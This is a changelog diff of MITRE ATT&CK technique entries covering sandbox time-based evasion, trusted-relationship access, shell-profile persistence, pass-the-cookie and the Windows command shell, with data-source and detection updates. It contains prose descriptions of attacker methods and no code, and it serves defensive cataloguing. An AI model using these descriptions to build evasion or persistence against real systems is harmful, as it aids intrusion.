| > | hniques/T1053)). Delays may also be based on waiting for spe | > | native system scheduling functionality (ex: [Scheduled Task/ | ||
| > | cific victim conditions to be met (ex: system time, events, | > | Job](https://attack.mitre.org/techniques/T1053)). Delays may | ||
| > | etc.) or employ scheduled [Multi-Stage Channels](https://att | > | also be based on waiting for specific victim conditions to | ||
| > | ack.mitre.org/techniques/T1104) to avoid analysis and scruti | > | be met (ex: system time, events, etc.) or employ scheduled [ | ||
| > | ny. | > | Multi-Stage Channels](https://attack.mitre.org/techniques/T1 | ||
| > | 104) to avoid analysis and scrutiny.(Citation: Deloitte Envi | ||||
| > | ronment Awareness) Benign commands or other operations may | ||||
| > | also be used to delay malware execution. Loops or otherwise | ||||
| > | needless repetitions of commands, such as [Ping](https://att | ||||
| > | ack.mitre.org/software/S0097)s, may be used to delay malware | ||||
| > | execution and potentially exceed time thresholds of automat | ||||
| > | ed analysis environments.(Citation: Revil Independence Day)( | ||||
| > | Citation: Netskope Nitol) Another variation, commonly referr | ||||
| > | ed to as API hammering, involves making various calls to [Na | ||||
| > | tive API](https://attack.mitre.org/techniques/T1106) functio | ||||
| > | ns in order to delay execution (while also potentially overl | ||||
| > | oading analysis environments with junk data).(Citation: Joe | ||||
| > | Sec Nymaim)(Citation: Joe Sec Trickbot) Adversaries may als | ||||
| > | o use time as a metric to detect sandboxes and analysis envi | ||||
| > | ronments, particularly those that attempt to manipulate time | ||||
| > | mechanisms to simulate longer elapses of time. For example, | ||||
| > | an adversary may be able to identify a sandbox accelerating | ||||
| > | time by sampling and calculating the expected value for an | ||||
| > | environment's timestamp before and after execution of a slee | ||||
| > | p function.(Citation: ISACA Malware Tricks) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-01 16:32:02.532000+00:00 | 2021-10-15 22:37:43.854000+00:00 |
| description | Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time. Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny. | Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time. Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness) Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot) Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks) |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Deloitte Environment Awareness', 'description': 'Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.', 'url': 'https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc'} | |
| external_references | {'source_name': 'Revil Independence Day', 'description': 'Loman, M. et al. (2021, July 4). Independence Day: REvil uses supply chain exploit to attack hundreds of businesses. Retrieved September 30, 2021.', 'url': 'https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/'} | |
| external_references | {'source_name': 'Netskope Nitol', 'description': 'Malik, A. (2016, October 14). Nitol Botnet makes a resurgence with evasive sandbox analysis technique. Retrieved September 30, 2021.', 'url': 'https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique'} | |
| external_references | {'source_name': 'Joe Sec Nymaim', 'description': 'Joe Security. (2016, April 21). Nymaim - evading Sandboxes with API hammering. Retrieved September 30, 2021.', 'url': 'https://www.joesecurity.org/blog/3660886847485093803'} | |
| external_references | {'source_name': 'Joe Sec Trickbot', 'description': "Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021.", 'url': 'https://www.joesecurity.org/blog/498839998833561473'} | |
| external_references | {'source_name': 'ISACA Malware Tricks', 'description': 'Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.', 'url': 'https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes'} | |
| x_mitre_contributors | Jorge Orchilles, SCYTHE | |
| x_mitre_contributors | Ruben Dodge, @shotgunner101 | |
| x_mitre_contributors | Jeff Felling, Red Canary | |
| x_mitre_data_sources | Process: OS API Execution |
Current version: 2.2
Version changed from: 2.0 → 2.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may breach or otherwise leverage organizations w | t | 1 | Adversaries may breach or otherwise leverage organizations w |
| > | ho have access to intended victims. Access through trusted t | > | ho have access to intended victims. Access through trusted t | ||
| > | hird party relationship exploits an existing connection that | > | hird party relationship exploits an existing connection that | ||
| > | may not be protected or receives less scrutiny than standar | > | may not be protected or receives less scrutiny than standar | ||
| > | d mechanisms of gaining access to a network. Organizations | > | d mechanisms of gaining access to a network. Organizations | ||
| > | often grant elevated access to second or third-party externa | > | often grant elevated access to second or third-party externa | ||
| > | l providers in order to allow them to manage internal system | > | l providers in order to allow them to manage internal system | ||
| > | s as well as cloud-based environments. Some examples of thes | > | s as well as cloud-based environments. Some examples of thes | ||
| > | e relationships include IT services contractors, managed sec | > | e relationships include IT services contractors, managed sec | ||
| > | urity providers, infrastructure contractors (e.g. HVAC, elev | > | urity providers, infrastructure contractors (e.g. HVAC, elev | ||
| > | ators, physical security). The third-party provider's access | > | ators, physical security). The third-party provider's access | ||
| > | may be intended to be limited to the infrastructure being m | > | may be intended to be limited to the infrastructure being m | ||
| > | aintained, but may exist on the same network as the rest of | > | aintained, but may exist on the same network as the rest of | ||
| > | the enterprise. As such, [Valid Accounts](https://attack.mit | > | the enterprise. As such, [Valid Accounts](https://attack.mit | ||
| > | re.org/techniques/T1078) used by the other party for access | > | re.org/techniques/T1078) used by the other party for access | ||
| > | to internal network systems may be compromised and used. | > | to internal network systems may be compromised and used.(Cit | ||
| > | ation: CISA IT Service Providers) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-14 19:38:14.299000+00:00 | 2021-03-08 10:33:01.045000+00:00 |
| description | Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network. Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used. | Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network. Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers) |
| x_mitre_data_sources[0] | Azure activity logs | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Stackdriver logs | Logon Session: Logon Session Metadata |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Logon Session: Logon Session Creation |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | Windows | SaaS |
| x_mitre_platforms[2] | macOS | IaaS |
| x_mitre_platforms[3] | AWS | Linux |
| x_mitre_platforms[4] | GCP | macOS |
| x_mitre_version | 2.0 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CISA IT Service Providers', 'description': 'CISA. (n.d.). APTs Targeting IT Service Provider Customers. Retrieved November 16, 2020.', 'url': 'https://us-cert.cisa.gov/APTs-Targeting-IT-Service-Provider-Customers'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Application logs | |
| x_mitre_data_sources | Authentication logs | |
| x_mitre_data_sources | Third-party application logs | |
| x_mitre_platforms | Azure | |
| x_mitre_platforms | SaaS |
Current version: 2.1
Version changed from: 1.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence by executing malicious | t | 1 | Adversaries may establish persistence through executing mali |
| > | content triggered by a user’s shell. <code>~/.bash_profile< | > | cious commands triggered by a user’s shell. User [Unix Shell | ||
| > | /code> and <code>~/.bashrc</code> are shell scripts that con | > | ](https://attack.mitre.org/techniques/T1059/004)s execute se | ||
| > | tain shell commands. These files are executed in a user's co | > | veral configuration scripts at different points throughout t | ||
| > | ntext when a new shell opens or when a user logs in so that | > | he session based on events. For example, when a user opens a | ||
| > | their environment is set correctly. <code>~/.bash_profile</ | > | command-line interface or remotely logs in (such as via SSH | ||
| > | code> is executed for login shells and <code>~/.bashrc</code | > | ) a login shell is initiated. The login shell executes scrip | ||
| > | > is executed for interactive non-login shells. This means t | > | ts from the system (<code>/etc</code>) and the user’s home d | ||
| > | hat when a user logs in (via username and password) to the c | > | irectory (<code>~/</code>) to configure the environment. All | ||
| > | onsole (either locally or remotely via something like SSH), | > | login shells on a system use /etc/profile when initiated. T | ||
| > | the <code>~/.bash_profile</code> script is executed before t | > | hese configuration scripts run at the permission level of th | ||
| > | he initial command prompt is returned to the user. After tha | > | eir directory and are often used to set environment variable | ||
| > | t, every time a new shell is opened, the <code>~/.bashrc</co | > | s, create aliases, and customize the user’s environment. Whe | ||
| > | de> script is executed. This allows users more fine-grained | > | n the shell exits or terminates, additional shell scripts ar | ||
| > | control over when they want certain commands executed. These | > | e executed to ensure the shell exits appropriately. Advers | ||
| > | shell scripts are meant to be written to by the local user | > | aries may attempt to establish persistence by inserting comm | ||
| > | to configure their own environment. The macOS Terminal.app | > | ands into scripts automatically executed by shells. Using ba | ||
| > | is a little different in that it runs a login shell by defau | > | sh as an example, the default shell for most GNU/Linux syste | ||
| > | lt each time a new terminal window is opened, thus calling < | > | ms, adversaries may add commands that launch malicious binar | ||
| > | code>~/.bash_profile</code> each time instead of <code>~/.ba | > | ies into the <code>/etc/profile</code> and <code>/etc/profil | ||
| > | shrc</code>. Adversaries may abuse these shell scripts by i | > | e.d</code> files.(Citation: intezer-kaiji-malware)(Citation: | ||
| > | nserting arbitrary shell commands that may be used to execut | > | bencane blog bashrc) These files typically require root per | ||
| > | e other binaries to gain persistence. Every time the user lo | > | missions to modify and are executed each time any shell on a | ||
| > | gs in or opens a new shell, the modified ~/.bash_profile and | > | system launches. For user level permissions, adversaries ca | ||
| > | /or ~/.bashrc scripts will be executed.(Citation: amnesia ma | > | n insert malicious commands into <code>~/.bash_profile</code | ||
| > | lware) | > | >, <code>~/.bash_login</code>, or <code>~/.profile</code> wh | ||
| > | ich are sourced when a user opens a command-line interface o | ||||
| > | r connects remotely.(Citation: anomali-rocke-tactics)(Citati | ||||
| > | on: Linux manual bash invocation) Since the system only exec | ||||
| > | utes the first existing file in the listed order, adversarie | ||||
| > | s have used <code>~/.bash_profile</code> to ensure execution | ||||
| > | . Adversaries have also leveraged the <code>~/.bashrc</code> | ||||
| > | file which is additionally executed if the connection is es | ||||
| > | tablished remotely or an additional interactive shell is ope | ||||
| > | ned, such as a new tab in the command-line interface.(Citati | ||||
| > | on: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anom | ||||
| > | ali-linux-rabbit)(Citation: Magento) Some malware targets th | ||||
| > | e termination of a program to trigger execution, adversaries | ||||
| > | can use the <code>~/.bash_logout</code> file to execute mal | ||||
| > | icious commands at the end of a session. For macOS, the fu | ||||
| > | nctionality of this technique is similar but may leverage zs | ||||
| > | h, the default shell for macOS 10.15+. When the Terminal.app | ||||
| > | is opened, the application launches a zsh login shell and a | ||||
| > | zsh interactive shell. The login shell configures the syste | ||||
| > | m environment using <code>/etc/profile</code>, <code>/etc/zs | ||||
| > | henv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlog | ||||
| > | in</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJ | ||||
| > | XA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS | ||||
| > | MS office sandbox escape) The login shell then configures th | ||||
| > | e user environment with <code>~/.zprofile</code> and <code>~ | ||||
| > | /.zlogin</code>. The interactive shell uses the <code>~/.zsh | ||||
| > | rc</code> to configure the user environment. Upon exiting, < | ||||
| > | code>/etc/zlogout</code> and <code>~/.zlogout</code> are exe | ||||
| > | cuted. For legacy programs, macOS executes <code>/etc/bashrc | ||||
| > | </code> on startup. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Robert Wilson', 'Tony Lambert, Red Canary'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 16:28:04.990000+00:00 | 2021-08-20 18:01:52.120000+00:00 |
| name | .bash_profile and .bashrc | Unix Shell Configuration Modification |
| description | Adversaries may establish persistence by executing malicious content triggered by a user’s shell. ~/.bash_profile and ~/.bashrc are shell scripts that contain shell commands. These files are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly.
~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), the ~/.bash_profile script is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, the ~/.bashrc script is executed. This allows users more fine-grained control over when they want certain commands executed. These shell scripts are meant to be written to by the local user to configure their own environment.
The macOS Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling ~/.bash_profile each time instead of ~/.bashrc.
Adversaries may abuse these shell scripts by inserting arbitrary shell commands that may be used to execute other binaries to gain persistence. Every time the user logs in or opens a new shell, the modified ~/.bash_profile and/or ~/.bashrc scripts will be executed.(Citation: amnesia malware) | Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.
Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session.
For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup. |
| external_references[1]['source_name'] | amnesia malware | intezer-kaiji-malware |
| external_references[1]['description'] | Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018. | Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020. |
| external_references[1]['url'] | https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/ | https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/ |
| x_mitre_data_sources[0] | Process use of network | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[2] | Process monitoring | File: File Creation |
| x_mitre_data_sources[3] | File monitoring | File: File Modification |
| x_mitre_detection | While users may customize their ~/.bashrc and ~/.bash_profile files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process. | While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.
Monitor for changes to /etc/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor)
For most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the /etc/shells file.
|
| x_mitre_version | 1.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'bencane blog bashrc', 'description': 'Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved February 25, 2021.', 'url': 'https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/'} | |
| external_references | {'source_name': 'anomali-rocke-tactics', 'description': 'Anomali Threat Research. (2019, October 15). Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved December 17, 2020.', 'url': 'https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect'} | |
| external_references | {'source_name': 'Linux manual bash invocation', 'description': 'ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021.', 'url': 'https://wiki.archlinux.org/index.php/Bash#Invocation'} | |
| external_references | {'source_name': 'Tsunami', 'description': 'Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved December 17, 2020.', 'url': 'https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/'} | |
| external_references | {'source_name': 'anomali-linux-rabbit', 'description': 'Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020.', 'url': 'https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat'} | |
| external_references | {'source_name': 'Magento', 'description': 'Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection Vector. Retrieved December 17, 2020.', 'url': 'https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html'} | |
| external_references | {'source_name': 'ScriptingOSX zsh', 'description': 'Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration Files. Retrieved February 25, 2021.', 'url': 'https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/'} | |
| external_references | {'source_name': 'PersistentJXA_leopitt', 'description': "Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell for macOS. Retrieved January 11, 2021.", 'url': 'https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5'} | |
| external_references | {'source_name': 'code_persistence_zsh', 'description': 'Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js. Retrieved January 11, 2021.', 'url': 'https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js'} | |
| external_references | {'source_name': 'macOS MS office sandbox escape', 'description': 'Cedric Owens. (2021, May 22). macOS MS Office Sandbox Brain Dump. Retrieved August 20, 2021.', 'url': 'https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a'} | |
| external_references | {'source_name': 'ESF_filemonitor', 'description': "Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020.", 'url': 'https://objective-see.com/blog/blog_0x48.html'} |
Current version: 1.2
Version changed from: 1.0 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:40:44.714000+00:00 | 2021-10-17 14:15:31.630000+00:00 |
| x_mitre_data_sources[0] | Office 365 audit logs | Logon Session: Logon Session Creation |
| x_mitre_data_sources[1] | OAuth audit logs | Web Credential: Web Credential Usage |
| x_mitre_data_sources[2] | Authentication logs | Application Log: Application Log Content |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | User Account: User Account Authentication | |
| x_mitre_data_sources | Active Directory: Active Directory Credential Request | |
| x_mitre_platforms | Google Workspace | |
| x_mitre_platforms | IaaS |
Current version: 1.4
Version changed from: 1.2 → 1.4
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-11 14:55:56.315000+00:00 | 2021-08-26 16:42:35.936000+00:00 |
| x_mitre_data_sources[0] | Anti-virus | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Process command-line parameters | Instance: Instance Start |
| x_mitre_data_sources[2] | Process monitoring | Instance: Instance Creation |
| x_mitre_version | 1.2 | 1.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Image: Image Creation | |
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_data_sources | Container: Container Start | |
| x_mitre_data_sources | Container: Container Creation | |
| x_mitre_data_sources | Network Traffic: Network Connection Creation | |
| x_mitre_data_sources | Network Traffic: Network Traffic Content | |
| x_mitre_data_sources | File: File Creation | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_platforms | IaaS | |
| x_mitre_platforms | Containers |
Current version: 2.3
Version changed from: 2.1 → 2.3
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 16:01:22.724000+00:00 | 2021-10-19 03:29:48.018000+00:00 |
| x_mitre_data_sources[0] | AWS CloudTrail logs | Logon Session: Logon Session Metadata |
| x_mitre_data_sources[1] | Stackdriver logs | User Account: User Account Authentication |
| x_mitre_data_sources[2] | Authentication logs | Logon Session: Logon Session Creation |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | SaaS | macOS |
| x_mitre_platforms[7] | Office 365 | Google Workspace |
| x_mitre_platforms[8] | Azure AD | Containers |
| x_mitre_version | 2.1 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Jon Sternstein, Stern Security | |
| x_mitre_contributors | Yossi Weizman, Azure Defender Research Team |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring |
Current version: 1.3
Version changed from: 1.1 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries can use stolen session cookies to authenticate t | t | 1 | Adversaries can use stolen session cookies to authenticate t |
| > | o web applications and services. This technique bypasses som | > | o web applications and services. This technique bypasses som | ||
| > | e multi-factor authentication protocols since the session is | > | e multi-factor authentication protocols since the session is | ||
| > | already authenticated.(Citation: Pass The Cookie) Authenti | > | already authenticated.(Citation: Pass The Cookie) Authenti | ||
| > | cation cookies are commonly used in web applications, includ | > | cation cookies are commonly used in web applications, includ | ||
| > | ing cloud-based services, after a user has authenticated to | > | ing cloud-based services, after a user has authenticated to | ||
| > | the service so credentials are not passed and re-authenticat | > | the service so credentials are not passed and re-authenticat | ||
| > | ion does not need to occur as frequently. Cookies are often | > | ion does not need to occur as frequently. Cookies are often | ||
| > | valid for an extended period of time, even if the web applic | > | valid for an extended period of time, even if the web applic | ||
| > | ation is not actively used. After the cookie is obtained thr | > | ation is not actively used. After the cookie is obtained thr | ||
| > | ough [Steal Web Session Cookie](https://attack.mitre.org/tec | > | ough [Steal Web Session Cookie](https://attack.mitre.org/tec | ||
| > | hniques/T1539), the adversary may then import the cookie int | > | hniques/T1539) or [Web Cookies](https://attack.mitre.org/tec | ||
| > | o a browser they control and is then able to use the site or | > | hniques/T1606/001), the adversary may then import the cookie | ||
| > | application as the user for as long as the session cookie i | > | into a browser they control and is then able to use the sit | ||
| > | s active. Once logged into the site, an adversary can access | > | e or application as the user for as long as the session cook | ||
| > | sensitive information, read email, or perform actions that | > | ie is active. Once logged into the site, an adversary can ac | ||
| > | the victim account has permissions to perform. There have b | > | cess sensitive information, read email, or perform actions t | ||
| > | een examples of malware targeting session cookies to bypass | > | hat the victim account has permissions to perform. There ha | ||
| > | multi-factor authentication systems.(Citation: Unit 42 Mac C | > | ve been examples of malware targeting session cookies to byp | ||
| > | rypto Cookies January 2019) | > | ass multi-factor authentication systems.(Citation: Unit 42 M | ||
| > | ac Crypto Cookies January 2019) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:40:44.527000+00:00 | 2021-10-12 14:22:09.650000+00:00 |
| description | Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie) Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform. There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019) | Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie) Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform. There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019) |
| external_references[3]['description'] | Chen, Y., Hu, W., Xu, Z., et. al.. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019. | Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019. |
| x_mitre_data_sources[0] | Office 365 audit logs | Web Credential: Web Credential Usage |
| x_mitre_data_sources[1] | Authentication logs | Application Log: Application Log Content |
| x_mitre_version | 1.1 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Jen Burns, HubSpot | |
| x_mitre_platforms | Google Workspace | |
| x_mitre_platforms | IaaS |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse the Windows command shell for executio | t | 1 | Adversaries may abuse the Windows command shell for executio |
| > | n. The Windows command shell (<code>cmd.exe</code>) is the p | > | n. The Windows command shell ([cmd](https://attack.mitre.org | ||
| > | rimary command prompt on Windows systems. The Windows comman | > | /software/S0106)) is the primary command prompt on Windows s | ||
| > | d prompt can be used to control almost any aspect of a syste | > | ystems. The Windows command prompt can be used to control al | ||
| > | m, with various permission levels required for different sub | > | most any aspect of a system, with various permission levels | ||
| > | sets of commands. Batch files (ex: .bat or .cmd) also prov | > | required for different subsets of commands. The command prom | ||
| > | ide the shell with a list of sequential commands to run, as | > | pt can be invoked remotely via [Remote Services](https://att | ||
